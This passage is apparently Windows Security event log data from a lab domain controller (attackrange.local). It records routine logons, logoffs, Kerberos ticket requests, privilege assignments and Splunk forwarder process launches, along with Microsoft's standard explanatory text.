0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64444 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250412 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B0F0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250411 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B08F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250410 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10B08F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64443 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250409 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10B08F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250408 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250451 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF27 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250450 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x107F9E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10829E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250448 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF27 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250447 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF27 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250446 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250445 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250444 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250443 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF0B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250442 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF0B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250441 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10DF0B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250440 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250439 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {A2E31182-9F48-6B6D-1074-C355E49AF924} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250438 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250437 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x10A7BC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250436 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x109999 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250435 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1085D6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250434 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x12d0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250433 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C3A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250432 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10C3A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64450 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250431 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C3A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250430 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C2D8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250429 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x10C2D8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64449 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250428 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C2D8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250427 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x10C206 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250426 -Keywords=Audit Success -Message=An account was successfully logged on. 